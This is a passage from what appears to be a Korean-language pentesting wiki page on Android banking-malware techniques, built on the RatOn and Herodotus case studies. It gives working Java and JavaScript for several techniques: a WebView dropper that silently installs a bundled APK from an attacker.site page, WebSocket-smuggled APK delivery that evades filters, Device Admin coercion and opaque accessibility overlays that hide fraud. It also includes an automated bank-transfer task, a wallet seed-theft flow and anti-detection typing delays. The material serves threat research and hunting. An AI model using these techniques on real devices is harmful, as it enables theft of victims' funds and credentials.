// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

간단한 보안 제어를 회피하는 이유:
- 정적 APK URL이 노출되지 않음; 페이로드는 WebSocket 프레임에서 메모리상으로 재구성됨.
- 직접 .apk 응답을 차단하는 URL/MIME/extension 필터는 WebSockets/Socket.IO를 통해 터널링된 바이너리 데이터를 놓칠 수 있음.
- WebSockets를 실행하지 않는 Crawlers 및 URL sandboxes는 페이로드를 가져오지 못함.

참고: WebSocket 관련 기법 및 툴링:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS 자동화, 및 NFC relay 오케스트레이션 – RatOn 사례 연구

RatOn banker/RAT 캠페인(ThreatFabric)은 현대 모바일 피싱 작전이 WebView droppers, Accessibility 기반 UI 자동화, overlays/ransom, Device Admin 강요, Automated Transfer System (ATS), crypto wallet 탈취, 심지어 NFC-relay 오케스트레이션까지 어떻게 결합되는지를 보여주는 대표적인 사례이다. 이 섹션에서는 재사용 가능한 기법들을 추상화하여 설명한다.

### Stage-1: WebView → native install bridge (dropper)

공격자는 공격자 페이지를 가리키는 WebView를 표시하고, 네이티브 설치기를 노출하는 JavaScript 인터페이스를 인젝션한다. HTML 버튼을 탭하면 네이티브 코드가 호출되어 dropper의 assets에 번들된 2단계 APK를 설치하고 바로 실행한다.

최소 패턴:

<details>
<summary>Stage-1 dropper 최소 패턴 (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

페이지의 HTML:

<button onclick="bridge.installApk()">Install</button>

설치 후, dropper는 명시적 package/activity를 통해 payload를 실행합니다:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: 신뢰되지 않은 앱이 addJavascriptInterface()를 호출하고 WebView에 설치자와 유사한 메서드를 노출; APK가 assets/ 아래에 임베디드된 2차 페이로드를 포함하고 Package Installer Session API를 호출하는 경우.

Consent funnel: Accessibility + Device Admin + follow-on runtime prompts

Stage-2는 WebView를 열어 “Access” 페이지를 호스팅한다. 해당 페이지의 버튼은 export된 메서드를 호출해 피해자를 Accessibility 설정으로 이동시키고 악성 서비스를 활성화하도록 요청한다. 승인되면, 악성코드는 Accessibility를 사용해 이후 런타임 권한 대화상자(contacts, overlay, manage system settings 등)를 자동으로 클릭하고 Device Admin을 요청한다.

• Accessibility는 프로그래밍적으로 node-tree에서 “Allow”/“OK” 같은 버튼을 찾아 클릭을 실행하여 이후 프롬프트를 수락하도록 돕는다.
• Overlay 권한 확인/요청:

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

참고:

Accessibility Services Abuse

WebView를 통한 오버레이 피싱/랜섬

운영자는 다음 명령을 실행할 수 있다:

• URL에서 전체 화면 오버레이를 렌더링하거나,
• WebView 오버레이에 로드되는 인라인 HTML을 전달한다.

가능한 사용 사례: 강요(PIN 입력), PIN을 캡처하기 위한 지갑 열기, 랜섬 메시지 전송. 오버레이 권한이 없는 경우를 대비해 권한을 확인/요청하는 명령을 유지하라.

원격 제어 모델 – 텍스트 유사 화면 + 화면 전송

• 저대역폭: 주기적으로 Accessibility node tree를 덤프하고, 보이는 텍스트/roles/bounds를 직렬화하여 의사-스크린으로 C2에 전송한다(예: 한 번 실행하는 txt_screen, 지속형 screen_live 같은 명령).
• 고충실도: MediaProjection을 요청하고 필요 시 화면 전송/녹화를 시작한다(예: display / record 같은 명령).

ATS 플레이북 (bank app automation)

JSON 작업이 주어지면, 은행 앱을 열고 Accessibility를 통해 텍스트 쿼리와 좌표 탭을 혼합해 UI를 제어하며, 요청 시 피해자의 결제 PIN을 입력한다.

예시 작업:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Example texts seen in one target flow (CZ → EN):

• “Nová platba” → “새 결제”
• “Zadat platbu” → “결제 입력”
• “Nový příjemce” → “새 수신자”
• “Domácí číslo účtu” → “국내 계좌 번호”
• “Další” → “다음”
• “Odeslat” → “보내기”
• “Ano, pokračovat” → “예, 계속”
• “Zaplatit” → “결제”
• “Hotovo” → “완료”

Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.

Crypto wallet seed extraction

Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show 시드 문구, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.

Device Admin coercion

• Immediate lock:

dpm.lockNow();

• 현재 자격 증명을 만료시켜 변경을 강제함 (Accessibility가 새로운 PIN/password를 캡처함):

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

• keyguard의 생체인증 기능을 비활성화하여 비생체(비-바이오메트릭) 잠금 해제를 강제:

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Note: 많은 DevicePolicyManager controls는 최신 Android에서 Device Owner/Profile Owner를 요구합니다; 일부 OEM 빌드는 느슨할 수 있습니다. 항상 대상 OS/OEM에서 검증하세요.

NFC relay orchestration (NFSkate)

Stage-3는 외부 NFC-relay 모듈(예: NFSkate)을 설치하고 실행할 수 있으며, 릴레이 중 피해자를 안내하기 위한 HTML 템플릿을 전달할 수도 있습니다. 이는 온라인 ATS와 함께 비접촉 카드-프레즌트 현금 인출을 가능하게 합니다.

Background: NFSkate NFC relay.

Operator command set (sample)

• UI/state: txt_screen, screen_live, display, record
• Social: send_push, Facebook, WhatsApp
• Overlays: overlay (inline HTML), block (URL), block_off, access_tint
• Wallets: metamask, trust, blockchain, phantom
• ATS: transfer, check_limit, limit
• Device: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
• Comms/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
• NFC: nfs, nfs_inject

Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)

위협 행위자들은 접근성(Accessibility) 기반 자동화와 기본 행동 생체인식에 대응하도록 조정된 안티-탐지를 점점 결합하고 있습니다. 최근의 banker/RAT는 두 가지 보완적 텍스트 전달 모드와 무작위화된 타이핑 리듬을 시뮬레이션하는 운영자 토글을 보여줍니다.

• Discovery mode: 조작 전에 셀렉터와 bounds로 보이는 노드를 열거하여 입력을 정확히 타깃(ID, text, contentDescription, hint, bounds).
• Dual text injection:
• Mode 1 – ACTION_SET_TEXT를 대상 노드에 직접 적용(안정적, 키보드 없음);
• Mode 2 – 클립보드 설정 + ACTION_PASTE로 포커스된 노드에 붙여넣기(직접 setText가 차단될 때 작동).
• Human-like cadence: 운영자가 제공한 문자열을 분할해 이벤트 사이에 무작위화된 300–3000 ms 지연으로 문자 단위로 전달하여 “machine-speed typing” 휴리스틱을 회피합니다. 구현은 ACTION_SET_TEXT로 값을 점진적으로 늘리거나 한 문자씩 붙여넣기로 할 수 있습니다.

</details>

사기 은폐용 차단 오버레이:
- 전체 화면 `TYPE_ACCESSIBILITY_OVERLAY`를 렌더링하고 운영자가 제어하는 불투명도를 적용; 원격 자동화가 배경에서 진행되는 동안 피해자에게는 불투명하게 유지.
- 일반적으로 노출되는 명령: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

조정 가능한 알파 값을 가진 최소 오버레이:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);